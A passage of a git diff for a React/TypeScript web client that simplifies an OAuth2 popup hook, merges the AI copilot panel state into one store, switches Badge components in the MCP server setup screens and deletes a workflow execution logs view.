-const clearStorageResponse = () => {
-    try {
-        localStorage.removeItem(OAUTH_STORAGE_KEY);
-    } catch {
-        // Ignore localStorage errors
-    }
-};
-
 const cleanup = (
     // eslint-disable-next-line @typescript-eslint/no-explicit-any
     intervalRef: MutableRefObject<any>,
     popupRef: MutableRefObject<Window | null | undefined>,
     // eslint-disable-next-line @typescript-eslint/no-explicit-any
-    handleMessageListener: any,
-    broadcastChannel?: BroadcastChannel,
-    // eslint-disable-next-line @typescript-eslint/no-explicit-any
-    handleStorageListener?: any
+    handleMessageListener: any
 ) => {
     clearInterval(intervalRef.current);
     closePopup(popupRef);
     removeState();
-    clearStorageResponse();
     window.removeEventListener('message', handleMessageListener);
-
-    if (broadcastChannel) {
-        broadcastChannel.close();
-    }
-
-    if (handleStorageListener) {
-        window.removeEventListener('storage', handleStorageListener);
-    }
 };
 
 const useOAuth2 = (props: Oauth2Props) => {
@@ -152,17 +130,17 @@ const useOAuth2 = (props: Oauth2Props) => {
     }>({error: null, loading: false});
 
     const getAuth = useCallback(() => {
+        // 1. Init
         setUI({
             error: null,
             loading: true,
         });
 
-        clearStorageResponse();
-
+        // 2. Generate and save state
         const state = generateState();
-
         saveState(state);
 
+        // 3. Open popup
         popupRef.current = openPopup(
             enhanceAuthorizationUrl(
                 authorizationUrl,
@@ -175,19 +153,18 @@ const useOAuth2 = (props: Oauth2Props) => {
             )
         );
 
-        let broadcastChannel: BroadcastChannel | undefined;
-
+        // 4. Register message listener
         // eslint-disable-next-line @typescript-eslint/no-explicit-any
-        function processOAuthResponse(data: any) {
-            const type = data?.type;
+        async function handleMessageListener(message: MessageEvent<any>) {
+            const type = message?.data?.type;
 
-            if (type !== OAUTH_RESPONSE || curStateRef.current === data?.payload?.state) {
+            if (type !== OAUTH_RESPONSE || curStateRef.current === message?.data?.payload?.state) {
                 return;
             }
 
             // Validate state to prevent CSRF attacks
             const savedState = sessionStorage.getItem(OAUTH_STATE_KEY);
-            const receivedState = data?.payload?.state;
+            const receivedState = message?.data?.payload?.state;
 
             if (!receivedState || savedState !== receivedState) {
                 setUI({
@@ -199,7 +176,7 @@ const useOAuth2 = (props: Oauth2Props) => {
                     onError('OAuth error: State mismatch.');
                 }
 
-                doCleanup();
+                cleanup(intervalRef, popupRef, handleMessageListener);
 
                 return;
             }
@@ -207,7 +184,7 @@ const useOAuth2 = (props: Oauth2Props) => {
             curStateRef.current = receivedState;
 
             try {
-                const error = data?.error;
+                const error = message?.data?.error;
 
                 if (error) {
                     setUI({
@@ -219,7 +196,7 @@ const useOAuth2 = (props: Oauth2Props) => {
                         onError(error);
                     }
                 } else {
-                    const payload = data?.payload;
+                    const payload = message?.data?.payload;
 
                     if (responseType === 'code' && onCodeSuccess) {
                         onCodeSuccess(payload);
@@ -242,94 +219,37 @@ const useOAuth2 = (props: Oauth2Props) => {
                     loading: false,
                 });
             } finally {
-                doCleanup();
+                // Clear stuff ...
+                cleanup(intervalRef, popupRef, handleMessageListener);
             }
         }
-
-        // eslint-disable-next-line @typescript-eslint/no-explicit-any
-        function handleMessageListener(message: MessageEvent<any>) {
-            processOAuthResponse(message?.data);
-        }
         window.addEventListener('message', handleMessageListener);
 
-        if (typeof BroadcastChannel !== 'undefined') {
-            try {
-                broadcastChannel = new BroadcastChannel(OAUTH_BROADCAST_CHANNEL);
-
-                broadcastChannel.onmessage = (event) => {
-                    processOAuthResponse(event.data);
-                };
-            } catch {
-                // BroadcastChannel not supported in this context
-            }
-        }
-
-        const handleStorageListener = (event: StorageEvent) => {
-            if (event.key !== OAUTH_STORAGE_KEY || !event.newValue) {
-                return;
-            }
-
-            try {
-                const data = JSON.parse(event.newValue);
-
-                processOAuthResponse(data);
-            } catch {
-                // Ignore JSON parse errors
-            }
-        };
-        window.addEventListener('storage', handleStorageListener);
-
-        function doCleanup() {
-            cleanup(intervalRef, popupRef, handleMessageListener, broadcastChannel, handleStorageListener);
-        }
-
-        let popupClosedAt: number | null = null;
-
+        // 4. Begin interval to check if popup was closed forcefully by the user
         intervalRef.current = setInterval(() => {
-            try {
-                const storedResponse = localStorage.getItem(OAUTH_STORAGE_KEY);
-
-                if (storedResponse) {
-                    const data = JSON.parse(storedResponse);
-
-                    processOAuthResponse(data);
-
-                    return;
-                }
-            } catch {
-                // Ignore localStorage errors
-            }
-
-            let popupAppearsClosed = false;
-
-            try {
-                popupAppearsClosed = !popupRef.current || popupRef.current.closed;
-            } catch {
-                popupAppearsClosed = false;
-            }
-
-            if (popupAppearsClosed) {
-                if (!popupClosedAt) {
-                    popupClosedAt = Date.now();
-                }
-
-                if (Date.now() - popupClosedAt > POPUP_CLOSED_GRACE_PERIOD_MS) {
-                    setUI((currentUI) => ({
-                        ...currentUI,
-                        loading: false,
-                    }));
+            const popupClosed = !popupRef.current?.window || popupRef.current?.window?.closed;
+            if (popupClosed) {
+                // Popup was closed before completing auth...
+                setUI((ui) => ({
+                    ...ui,
+                    loading: false,
+                }));
 
-                    console.warn('Warning: Popup was closed before completing authentication.');
+                console.warn('Warning: Popup was closed before completing authentication.');
 
-                    doCleanup();
-                }
-            } else {
-                popupClosedAt = null;
+                clearInterval(intervalRef.current);
+                removeState();
+                window.removeEventListener('message', handleMessageListener);
             }
         }, 250);
 
+        // 5. Remove listener(s) on unmount
         return () => {
-            doCleanup();
+            window.removeEventListener('message', handleMessageListener);
+
+            if (intervalRef.current) {
+                clearInterval(intervalRef.current);
+            }
         };
     }, [authorizationUrl, clientId, redirectUri, scope, responseType, onCodeSuccess, onTokenSuccess, onError, setUI]);
 
diff --git a/client/src/shared/components/copilot/CopilotButton.tsx b/client/src/shared/components/copilot/CopilotButton.tsx
index 4a6f4eb3aec..ef8ec4405a8 100644
--- a/client/src/shared/components/copilot/CopilotButton.tsx
+++ b/client/src/shared/components/copilot/CopilotButton.tsx
@@ -1,6 +1,5 @@
 import Button from '@/components/Button/Button';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
-import useCopilotPanelStore from '@/shared/components/copilot/stores/useCopilotPanelStore';
 import {MODE, Source, useCopilotStore} from '@/shared/components/copilot/stores/useCopilotStore';
 import {useApplicationInfoStore} from '@/shared/stores/useApplicationInfoStore';
 import {useFeatureFlagsStore} from '@/shared/stores/useFeatureFlagsStore';
@@ -15,10 +14,10 @@ export interface CopilotButtonProps {
 
 const CopilotButton = ({parameters = {}, source}: CopilotButtonProps) => {
     const ai = useApplicationInfoStore((state) => state.ai);
-    const setContext = useCopilotStore((state) => state.setContext);
-    const {copilotPanelOpen, setCopilotPanelOpen} = useCopilotPanelStore(
+    const {copilotPanelOpen, setContext, setCopilotPanelOpen} = useCopilotStore(
         useShallow((state) => ({
             copilotPanelOpen: state.copilotPanelOpen,
+            setContext: state.setContext,
             setCopilotPanelOpen: state.setCopilotPanelOpen,
         }))
     );
@@ -26,10 +25,7 @@ const CopilotButton = ({parameters = {}, source}: CopilotButtonProps) => {
     const ff_1570 = useFeatureFlagsStore()('ff-1570');
 
     const handleClick = () => {
-        const {context: currentContext, generateConversationId, resetMessages} = useCopilotStore.getState();
-
-        resetMessages();
-        generateConversationId();
+        const currentContext = useCopilotStore.getState().context;
 
         setContext({
             ...currentContext,
@@ -39,7 +35,7 @@ const CopilotButton = ({parameters = {}, source}: CopilotButtonProps) => {
         });
 
         if (!copilotPanelOpen) {
-            setCopilotPanelOpen(true);
+            setCopilotPanelOpen(!copilotPanelOpen);
         }
     };
 
diff --git a/client/src/shared/components/copilot/CopilotPanel.tsx b/client/src/shared/components/copilot/CopilotPanel.tsx
index 1c263000b6c..c1699648daf 100644
--- a/client/src/shared/components/copilot/CopilotPanel.tsx
+++ b/client/src/shared/components/copilot/CopilotPanel.tsx
@@ -1,34 +1,23 @@
 import Button from '@/components/Button/Button';
 import {Thread} from '@/components/assistant-ui/thread';
-import {ToggleGroup, ToggleGroupItem} from '@/components/ui/toggle-group';
+import {Select, SelectContent, SelectItem, SelectTrigger} from '@/components/ui/select';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
-import CopilotPanelBoundary from '@/shared/components/copilot/CopilotPanelBoundary';
 import {CopilotRuntimeProvider} from '@/shared/components/copilot/runtime-providers/CopilotRuntimeProvider';
-import useCopilotPanelStore from '@/shared/components/copilot/stores/useCopilotPanelStore';
-import {MODE, Source, useCopilotStore} from '@/shared/components/copilot/stores/useCopilotStore';
+import {MODE, useCopilotStore} from '@/shared/components/copilot/stores/useCopilotStore';
 import {BotMessageSquareIcon, MessageSquareOffIcon, XIcon} from 'lucide-react';
-import {useEffect, useRef} from 'react';
-import {useLocation} from 'react-router-dom';
-import {twMerge} from 'tailwind-merge';
+import {useEffect} from 'react';
 import {useShallow} from 'zustand/react/shallow';
 
-interface CopilotPanelProps {
-    className?: string;
-    onClose?: () => void;
-    open: boolean;
-}
-
-const CopilotPanelContent = ({className, onClose}: Omit<CopilotPanelProps, 'open'>) => {
-    const {context, generateConversationId, resetMessages, setContext} = useCopilotStore(
+const CopilotPanel = () => {
+    const {context, generateConversationId, resetMessages, setContext, setCopilotPanelOpen} = useCopilotStore(
         useShallow((state) => ({
             context: state.context,
             generateConversationId: state.generateConversationId,
             resetMessages: state.resetMessages,
             setContext: state.setContext,
+            setCopilotPanelOpen: state.setCopilotPanelOpen,
         }))
     );
-    const setCopilotPanelOpen = useCopilotPanelStore((state) => state.setCopilotPanelOpen);
-    const location = useLocation();
 
     const handleCleanMessages = () => {
         resetMessages();
@@ -36,57 +25,59 @@ const CopilotPanelContent = ({className, onClose}: Omit<CopilotPanelProps, 'open
     };
 
     const handleCloseClick = () => {
-        if (onClose) {
-            onClose();
-        } else {
-            setContext({
-                mode: MODE.ASK,
-                parameters: {},
-                source: Source.WORKFLOW_EDITOR,
-            });
-            setCopilotPanelOpen(false);
-        }
+        setContext(undefined);
+        setCopilotPanelOpen(false);
     };
 
-    const previousPathnameRef = useRef(location.pathname);
+    useEffect(() => {
+        generateConversationId();
+        resetMessages();
+
+        // eslint-disable-next-line react-hooks/exhaustive-deps
+    }, []);
 
     useEffect(() => {
-        if (previousPathnameRef.current !== location.pathname) {
-            previousPathnameRef.current = location.pathname;
+        generateConversationId();
+        resetMessages();
 
-            generateConversationId();
-            resetMessages();
-        }
-    }, [generateConversationId, location.pathname, resetMessages]);
+        // eslint-disable-next-line react-hooks/exhaustive-deps
+    }, [context?.source]);
 
     return (
-        <div className={twMerge('relative h-full min-h-[50vh] w-[450px] bg-surface-main', className)}>
+        <div className="relative h-full min-h-[50vh] w-[450px] bg-surface-main">
             <div className="flex items-center justify-between p-3">
                 <div className="flex items-center space-x-1">
                     <BotMessageSquareIcon className="size-6" /> <h4>AI Copilot</h4>
                 </div>
 
-                <div className="flex items-center gap-2">
-                    <ToggleGroup
-                        onValueChange={(value) => {
-                            if (value) {
-                                setContext({
-                                    ...context,
-                                    mode: value as MODE,
-                                });
-                            }
-                        }}
-                        type="single"
+                <div className="flex items-center space-x-3">
+                    <Select
+                        onValueChange={(value) =>
+                            setContext({
+                                ...context,
+                                mode: value as MODE,
+                            })
+                        }
                         value={context?.mode}
                     >
-                        <ToggleGroupItem value={MODE.ASK}>
-                            {MODE.ASK.charAt(0) + MODE.ASK.slice(1).toLowerCase()}
-                        </ToggleGroupItem>
-
-                        <ToggleGroupItem value={MODE.BUILD}>
-                            {MODE.BUILD.charAt(0) + MODE.BUILD.slice(1).toLowerCase()}
-                        </ToggleGroupItem>
-                    </ToggleGroup>
+                        <SelectTrigger className="min-w-24">
+                            {context?.mode.charAt(0) + context?.mode.slice(1).toLowerCase()}
+                        </SelectTrigger>
+
+                        <SelectContent className="min-w-24">
+                            <SelectItem value={MODE.ASK}>
+                                <span className="text-muted-foreground">
+                                    {MODE.ASK.charAt(0) + MODE.ASK.slice(1).toLowerCase()}
+                                </span>
+                            </SelectItem>
+
+                            <SelectItem value={MODE.BUILD}>
+                                <span className="text-muted-foreground">
+                                    {MODE.BUILD.charAt(0) + MODE.BUILD.slice(1).toLowerCase()}
+                                </span>
+                            </SelectItem>
+                        </SelectContent>
+                    </Select>
 
                     <Tooltip>
                         <TooltipTrigger asChild>
@@ -114,10 +105,4 @@ const CopilotPanelContent = ({className, onClose}: Omit<CopilotPanelProps, 'open
     );
 };
 
-const CopilotPanel = ({className, onClose, open}: CopilotPanelProps) => (
-    <CopilotPanelBoundary>
-        {open && <CopilotPanelContent className={className} onClose={onClose} />}
-    </CopilotPanelBoundary>
-);
-
 export default CopilotPanel;
diff --git a/client/src/shared/components/copilot/CopilotPanelBoundary.tsx b/client/src/shared/components/copilot/CopilotPanelBoundary.tsx
deleted file mode 100644
index 3dc02fd665b..00000000000
--- a/client/src/shared/components/copilot/CopilotPanelBoundary.tsx
+++ /dev/null
@@ -1,42 +0,0 @@
-import {Component, type PropsWithChildren, type ReactNode} from 'react';
-
-interface CopilotPanelBoundaryStateI {
-    hasError: boolean;
-}
-
-/**
- * Error boundary that catches unmount errors from @assistant-ui/react's
- * AssistantRuntimeProviderImpl. The library throws "Tried to unmount a fiber
- * that is already unmounted" when conditionally rendered in React 19.
- *
- * Used internally by CopilotPanel to wrap conditionally-rendered content
- * so the boundary stays mounted when the child unmounts.
- */
-class CopilotPanelBoundary extends Component<PropsWithChildren, CopilotPanelBoundaryStateI> {
-    state: CopilotPanelBoundaryStateI = {hasError: false};
-
-    static getDerivedStateFromError(): CopilotPanelBoundaryStateI {
-        return {hasError: true};
-    }
-
-    static getDerivedStateFromProps(
-        props: PropsWithChildren,
-        state: CopilotPanelBoundaryStateI
-    ): CopilotPanelBoundaryStateI | null {
-        if (state.hasError && props.children) {
-            return {hasError: false};
-        }
-
-        return null;
-    }
-
-    render(): ReactNode {
-        if (this.state.hasError) {
-            return null;
-        }
-
-        return this.props.children;
-    }
-}
-
-export default CopilotPanelBoundary;
diff --git a/client/src/shared/components/copilot/runtime-providers/CopilotRuntimeProvider.tsx b/client/src/shared/components/copilot/runtime-providers/CopilotRuntimeProvider.tsx
index 0c01dba8e78..08864befccf 100644
--- a/client/src/shared/components/copilot/runtime-providers/CopilotRuntimeProvider.tsx
+++ b/client/src/shared/components/copilot/runtime-providers/CopilotRuntimeProvider.tsx
@@ -36,15 +36,13 @@ export function CopilotRuntimeProvider({
 
     const {projectId, projectWorkflowId} = useParams();
 
-    const sourceKey = context?.source ?? Source.WORKFLOW_EDITOR;
-
     const agent = new HttpAgent({
-        agentId: Source[sourceKey],
+        agentId: Source[context.source],
         headers: {
             'X-XSRF-TOKEN': getCookie('XSRF-TOKEN') || '',
         },
         threadId: conversationId!,
-        url: `/api/platform/internal/ai/chat/${Source[sourceKey].toLowerCase()}`,
+        url: `/api/platform/internal/ai/chat/${Source[context.source].toLowerCase()}`,
     });
 
     const queryClient = useQueryClient();
@@ -64,26 +62,12 @@ export function CopilotRuntimeProvider({
             id: getRandomId(),
             role: 'user',
         });
-
-        const {workflowExecutionError, ...contextWithoutError} = (context ?? {}) as typeof context & {
-            workflowExecutionError?: {
-                errorMessage?: string;
-                stackTrace?: string[];
-                title?: string;
-                workflowId?: string;
-            };
-        };
-
-        const stateToSend = {
-            ...contextWithoutError,
+        agent.setState({
+            ...context,
             currentSelectedNode: currentComponent?.name,
+            workflowExecutionError: context.taskExecutionError,
             workflowId: workflow.id,
-            ...(workflow.id === workflowExecutionError?.workflowId
-                ? {workflowExecutionError: workflowExecutionError}
-                : {}),
-        };
-
-        agent.setState(stateToSend);
+        });
 
         // Prepare an empty assistant message to stream into
         addMessage({content: '', role: 'assistant'});
diff --git a/client/src/shared/components/copilot/stores/useCopilotPanelStore.ts b/client/src/shared/components/copilot/stores/useCopilotPanelStore.ts
deleted file mode 100644
index 876900a7950..00000000000
--- a/client/src/shared/components/copilot/stores/useCopilotPanelStore.ts
+++ /dev/null
@@ -1,16 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface CopilotPanelStateI {
-    copilotPanelOpen: boolean;
-    setCopilotPanelOpen: (open: boolean) => void;
-}
-
-const useCopilotPanelStore = create<CopilotPanelStateI>()(
-    devtools((set) => ({
-        copilotPanelOpen: false,
-        setCopilotPanelOpen: (copilotPanelOpen) => set({copilotPanelOpen}),
-    }))
-);
-
-export default useCopilotPanelStore;
diff --git a/client/src/shared/components/copilot/stores/useCopilotStore.ts b/client/src/shared/components/copilot/stores/useCopilotStore.ts
index 4388ddbd568..b1da25d07e8 100644
--- a/client/src/shared/components/copilot/stores/useCopilotStore.ts
+++ b/client/src/shared/components/copilot/stores/useCopilotStore.ts
@@ -20,11 +20,10 @@ export type ContextType = {
     // eslint-disable-next-line @typescript-eslint/no-explicit-any
     parameters: Record<string, any>;
     mode: MODE;
-    workflowExecutionError?: {
+    taskExecutionError?: {
         errorMessage?: string;
         stackTrace?: string[];
         title?: string;
-        workflowId?: string;
     };
 };
 
@@ -40,27 +39,22 @@ interface CopilotStateI {
                   errorMessage?: string;
                   stackTrace?: string[];
                   title?: string;
-                  workflowId?: string;
               }
             | undefined
     ) => void;
 
+    copilotPanelOpen: boolean;
+    setCopilotPanelOpen: (showCopilot: boolean) => void;
+
     messages: ThreadMessageLike[];
     addMessage: (message: ThreadMessageLike) => void;
     appendToLastAssistantMessage: (text: string) => void;
     resetMessages: () => void;
-
-    savedState: {conversationId: string | undefined; context: ContextType; messages: ThreadMessageLike[]} | null;
-    saveConversationState: () => void;
-    restoreConversationState: () => void;
 }
 
 export const useCopilotStore = create<CopilotStateI>()(
     devtools((set) => ({
-        conversationId: Array(32)
-            .fill(0)
-            .map(() => Math.random().toString(36).charAt(2))
-            .join(''),
+        conversationId: undefined,
         generateConversationId: () => {
             set((state) => {
                 return {
@@ -92,11 +86,20 @@ export const useCopilotStore = create<CopilotStateI>()(
                     ...state,
                     context: {
                         ...state.context,
-                        workflowExecutionError: error,
+                        taskExecutionError: error,
                     },
                 };
             }),
 
+        copilotPanelOpen: false,
+        setCopilotPanelOpen: (copilotPanelOpen) =>
+            set((state) => {
+                return {
+                    ...state,
+                    copilotPanelOpen,
+                };
+            }),
+
         messages: [],
         addMessage: (message) =>
             set((state) => {
@@ -126,30 +129,5 @@ export const useCopilotStore = create<CopilotStateI>()(
                 return {...state, messages};
             }),
         resetMessages: () => set({messages: []}),
-
-        savedState: null,
-        saveConversationState: () =>
-            set((state) => ({
-                ...state,
-                savedState: {
-                    conversationId: state.conversationId,
-                    context: state.context,
-                    messages: state.messages,
-                },
-            })),
-        restoreConversationState: () =>
-            set((state) => {
-                if (!state.savedState) {
-                    return state;
-                }
-
-                return {
-                    ...state,
-                    conversationId: state.savedState.conversationId,
-                    context: state.savedState.context,
-                    messages: state.savedState.messages,
-                    savedState: null,
-                };
-            }),
     }))
 );
diff --git a/client/src/shared/components/mcp-server/McpServerConfiguration.tsx b/client/src/shared/components/mcp-server/McpServerConfiguration.tsx
index 5626a8dcb15..9629ab06cf2 100644
--- a/client/src/shared/components/mcp-server/McpServerConfiguration.tsx
+++ b/client/src/shared/components/mcp-server/McpServerConfiguration.tsx
@@ -1,5 +1,5 @@
-import Badge from '@/components/Badge/Badge';
 import {Alert, AlertTitle} from '@/components/ui/alert';
+import {Badge} from '@/components/ui/badge';
 import {Tabs, TabsContent, TabsList, TabsTrigger} from '@/components/ui/tabs';
 import McpServerConfigurationCode from '@/shared/components/mcp-server/McpServerConfigurationCode';
 import {InfoCircledIcon} from '@radix-ui/react-icons';
@@ -66,7 +66,7 @@ const McpServerConfiguration = ({mcpServerUrl, onRefresh}: {mcpServerUrl: string
 
                                     <span>→</span>
 
-                                    <Badge label="Add More" styleType="outline-outline" />
+                                    <Badge variant="outline">Add More</Badge>
                                 </div>
 
                                 <Alert className="flex items-center gap-2" variant="default">
@@ -101,19 +101,19 @@ const McpServerConfiguration = ({mcpServerUrl, onRefresh}: {mcpServerUrl: string
 
                                     <span>→</span>
 
-                                    <Badge label="Settings" styleType="outline-outline" />
+                                    <Badge variant="outline">Settings</Badge>
 
                                     <span>→</span>
 
-                                    <Badge label="Developer" styleType="outline-outline" />
+                                    <Badge variant="outline">Developer</Badge>
 
                                     <span>→</span>
 
-                                    <Badge label="Edit Config" styleType="outline-outline" />
+                                    <Badge variant="outline">Edit Config</Badge>
 
                                     <span>→</span>
 
-                                    <Badge label="Open claude_desktop_config.json" styleType="outline-outline" />
+                                    <Badge variant="outline">Open claude_desktop_config.json</Badge>
                                 </div>
 
                                 <p className="text-sm text-muted-foreground">
@@ -143,19 +143,19 @@ const McpServerConfiguration = ({mcpServerUrl, onRefresh}: {mcpServerUrl: string
 
                                     <span>→</span>
 
-                                    <Badge label="Settings" styleType="outline-outline" />
+                                    <Badge variant="outline">Settings</Badge>
 
                                     <span>→</span>
 
-                                    <Badge label="Cursor Settings" styleType="outline-outline" />
+                                    <Badge variant="outline">Cursor Settings</Badge>
 
                                     <span>→</span>
 
-                                    <Badge label="MCP" styleType="outline-outline" />
+                                    <Badge variant="outline">MCP</Badge>
 
                                     <span>→</span>
 
-                                    <Badge label="Add new global MCP server" styleType="outline-outline" />
+                                    <Badge variant="outline">Add new global MCP server</Badge>
                                 </div>
 
                                 <p className="text-sm text-muted-foreground">Paste the configuration below and save.</p>
@@ -183,23 +183,23 @@ const McpServerConfiguration = ({mcpServerUrl, onRefresh}: {mcpServerUrl: string
 
                                     <span>→</span>
 
-                                    <Badge label="Settings" styleType="outline-outline" />
+                                    <Badge variant="outline">Settings</Badge>
 
                                     <span>→</span>
 
-                                    <Badge label="Advanced" styleType="outline-outline" />
+                                    <Badge variant="outline">Advanced</Badge>
 
                                     <span>→</span>
 
-                                    <Badge label="Cascade" styleType="outline-outline" />
+                                    <Badge variant="outline">Cascade</Badge>
 
                                     <span>→</span>
 
-                                    <Badge label="Add Server" styleType="outline-outline" />
+                                    <Badge variant="outline">Add Server</Badge>
 
                                     <span>→</span>
 
-                                    <Badge label="Add custom server" styleType="outline-outline" />
+                                    <Badge variant="outline">Add custom server</Badge>
                                 </div>
 
                                 <p className="text-sm text-muted-foreground">Paste the configuration below and save.</p>
diff --git a/client/src/shared/components/mcp-server/McpServerConfigurationCode.tsx b/client/src/shared/components/mcp-server/McpServerConfigurationCode.tsx
index cb1e66ebcaa..504d1519c32 100644
--- a/client/src/shared/components/mcp-server/McpServerConfigurationCode.tsx
+++ b/client/src/shared/components/mcp-server/McpServerConfigurationCode.tsx
@@ -1,4 +1,4 @@
-import Badge from '@/components/Badge/Badge';
+import {Badge} from '@/components/ui/badge';
 import {Card} from '@/components/ui/card';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
 import {AlertTriangleIcon, CheckIcon, CopyIcon, RefreshCwIcon} from 'lucide-react';
@@ -31,12 +31,11 @@ const McpServerConfigurationCode = ({codeSnippet, onRefresh}: {codeSnippet: stri
                 <div className="flex items-center gap-2">
                     <Tooltip>
                         <TooltipTrigger>
-                            <Badge
-                                className="flex items-center gap-1 border border-destructive"
-                                icon={<AlertTriangleIcon className="size-4 text-destructive" />}
-                                label="Sensitive"
-                                styleType="outline-outline"
-                            />
+                            <Badge className="flex items-center gap-1 border border-destructive" variant="outline">
+                                <AlertTriangleIcon className="size-4 text-destructive" />
+
+                                <span className="text-xs font-medium text-destructive">Sensitive</span>
+                            </Badge>
                         </TooltipTrigger>
 
                         <TooltipContent>
diff --git a/client/src/shared/components/workflow-executions/WorkflowExecutionLogsContent.tsx b/client/src/shared/components/workflow-executions/WorkflowExecutionLogsContent.tsx
deleted file mode 100644
index 811cc2858cc..00000000000
--- a/client/src/shared/components/workflow-executions/WorkflowExecutionLogsContent.tsx
+++ /dev/null
@@ -1,189 +0,0 @@
-import Badge from '@/components/Badge/Badge';
-import {ScrollArea, ScrollBar} from '@/components/ui/scroll-area';
-import {LogEntry, LogLevel, useEditorJobFileLogsQuery, useJobFileLogsQuery} from '@/shared/middleware/graphql';
-import {AlertCircleIcon, AlertTriangleIcon, BugIcon, InfoIcon, MessageSquareIcon} from 'lucide-react';
-import {useMemo, useState} from 'react';
-import {twMerge} from 'tailwind-merge';
-
-interface WorkflowExecutionLogsContentProps {
-    isEditorEnvironment?: boolean;
-    jobId: string;
-    taskExecutionId?: string;
-}
-
-const LOG_LEVEL_BADGE_CONFIG = {
-    [LogLevel.Trace]: {
-        className: 'bg-gray-100 text-gray-600',
-        icon: <MessageSquareIcon className="size-3" />,
-    },
-    [LogLevel.Debug]: {
-        className: 'bg-purple-100 text-purple-600',
-        icon: <BugIcon className="size-3" />,
-    },
-    [LogLevel.Info]: {
-        className: 'bg-blue-100 text-blue-600',
-        icon: <InfoIcon className="size-3" />,
-    },
-    [LogLevel.Warn]: {
-        className: 'bg-yellow-100 text-yellow-600',
-        icon: <AlertTriangleIcon className="size-3" />,
-    },
-    [LogLevel.Error]: {
-        className: 'bg-red-100 text-red-600',
-        icon: <AlertCircleIcon className="size-3" />,
-    },
-};
-
-const LogLevelBadge = ({level}: {level: LogLevel}) => {
-    const {className, icon} = LOG_LEVEL_BADGE_CONFIG[level] || LOG_LEVEL_BADGE_CONFIG[LogLevel.Info];
-
-    return <Badge className={twMerge('border-0', className)} icon={icon} label={level} styleType="secondary-filled" />;
-};
-
-const LogEntryRow = ({entry}: {entry: LogEntry}) => {
-    const [isExpanded, setIsExpanded] = useState(false);
-    const hasError = entry.exceptionType || entry.exceptionMessage || entry.stackTrace;
-
-    return (
-        <div
-            className={twMerge(
-                'border-b border-stroke-neutral-secondary p-2',
-                hasError && 'cursor-pointer hover:bg-surface-neutral-secondary'
-            )}
-            onClick={() => hasError && setIsExpanded(!isExpanded)}
-        >
-            <div className="flex items-start gap-2">
-                <span className="shrink-0 text-xs text-muted-foreground">
-                    {new Date(entry.timestamp).toLocaleTimeString()}
-                </span>
-
-                <LogLevelBadge level={entry.level} />
-
-                <span className="shrink-0 rounded bg-surface-neutral-secondary px-1.5 py-0.5 text-xs font-medium text-muted-foreground">
-                    {entry.componentName}
-
-                    {entry.componentOperationName && `:${entry.componentOperationName}`}
-                </span>
-
-                <span className="flex-1 text-sm">{entry.message}</span>
-            </div>
-
-            {isExpanded && hasError && (
-                <div className="mt-2 space-y-2 rounded bg-surface-neutral-secondary p-2">
-                    {entry.exceptionType && (
-                        <div>
-                            <span className="text-xs font-semibold text-muted-foreground">Exception: </span>
-
-                            <span className="text-xs text-content-destructive-primary">{entry.exceptionType}</span>
-                        </div>
-                    )}
-
-                    {entry.exceptionMessage && (
-                        <div>
-                            <span className="text-xs font-semibold text-muted-foreground">Message: </span>
-
-                            <span className="text-xs">{entry.exceptionMessage}</span>
-                        </div>
-                    )}
-
-                    {entry.stackTrace && (
-                        <div>
-                            <span className="text-xs font-semibold text-muted-foreground">Stack Trace:</span>
-
-                            <pre className="mt-1 overflow-x-auto whitespace-pre-wrap text-xs text-muted-foreground">
-                                {entry.stackTrace}
-                            </pre>
-                        </div>
-                    )}
-                </div>
-            )}
-        </div>
-    );
-};
-
-const WorkflowExecutionLogsContent = ({
-    isEditorEnvironment,
-    jobId,
-    taskExecutionId,
-}: WorkflowExecutionLogsContentProps) => {
-    const [page] = useState(0);
-    const [size] = useState(100);
-
-    const {
-        data: productionLogsData,
-        error: productionError,
-        isLoading: isProductionLoading,
-    } = useJobFileLogsQuery(
-        {
-            filter: taskExecutionId ? {taskExecutionId} : null,
-            jobId,
-            page,
-            size,
-        },
-        {
-            enabled: !isEditorEnvironment,
-        }
-    );
-
-    const {
-        data: editorLogsData,
-        error: editorError,
-        isLoading: isEditorLoading,
-    } = useEditorJobFileLogsQuery(
-        {
-            filter: taskExecutionId ? {taskExecutionId} : null,
-            jobId,
-            page,
-            size,
-        },
-        {
-            enabled: isEditorEnvironment === true,
-        }
-    );
-
-    const isLoading = isEditorEnvironment ? isEditorLoading : isProductionLoading;
-    const error = isEditorEnvironment ? editorError : productionError;
-    const logsData = isEditorEnvironment ? editorLogsData?.editorJobFileLogs : productionLogsData?.jobFileLogs;
-
-    const logs = useMemo(() => logsData?.content || [], [logsData]);
-
-    if (isLoading) {
-        return (
-            <div className="flex items-center justify-center p-4">
-                <span className="text-sm text-muted-foreground">Loading logs...</span>
-            </div>
-        );
-    }
-
-    if (error) {
-        return (
-            <div className="flex items-center justify-center p-4">
-                <span className="text-sm text-content-destructive-primary">Failed to load logs</span>
-            </div>
-        );
-    }
-
-    if (logs.length === 0) {
-        return (
-            <div className="flex items-center justify-center p-4">
-                <span className="text-sm text-muted-foreground">No logs available</span>
-            </div>
-        );
-    }
-
-    return (
-        <ScrollArea className="h-full">
-            <div className="divide-y divide-stroke-neutral-secondary">
-                {logs.map((logEntry, index) => (
-                    <LogEntryRow entry={logEntry} key={`${logEntry.timestamp}-${index}`} />
-                ))}
-            </div>
-
-            <ScrollBar orientation="horizontal" />
-
-            <ScrollBar orientation="vertical" />
-        </ScrollArea>
-    );
-};
-
-export default WorkflowExecutionLogsContent;
diff --git a/client/src/shared/components/workflow-executions/WorkflowExecutionsHeader.tsx b/client/src/shared/components/workflow-executions/WorkflowExecutionsHeader.tsx
index 57a4c18f56a..acc2c51e4f3 100644
--- a/client/src/shared/components/workflow-executions/WorkflowExecutionsHeader.tsx
+++ b/client/src/shared/components/workflow-executions/WorkflowExecutionsHeader.tsx
@@ -1,13 +1,14 @@
 import Badge from '@/components/Badge/Badge';
-import {getWorkflowStatusType} from '@/shared/components/workflow-executions/util/workflowExecution-utils';
 import {Job, TriggerExecution} from '@/shared/middleware/platform/workflow/execution';
-import {CheckIcon, LoaderCircleIcon} from 'lucide-react';
+import {CheckIcon} from 'lucide-react';
+import {twMerge} from 'tailwind-merge';
 
 const WorkflowExecutionsHeader = ({job, triggerExecution}: {job: Job; triggerExecution?: TriggerExecution}) => {
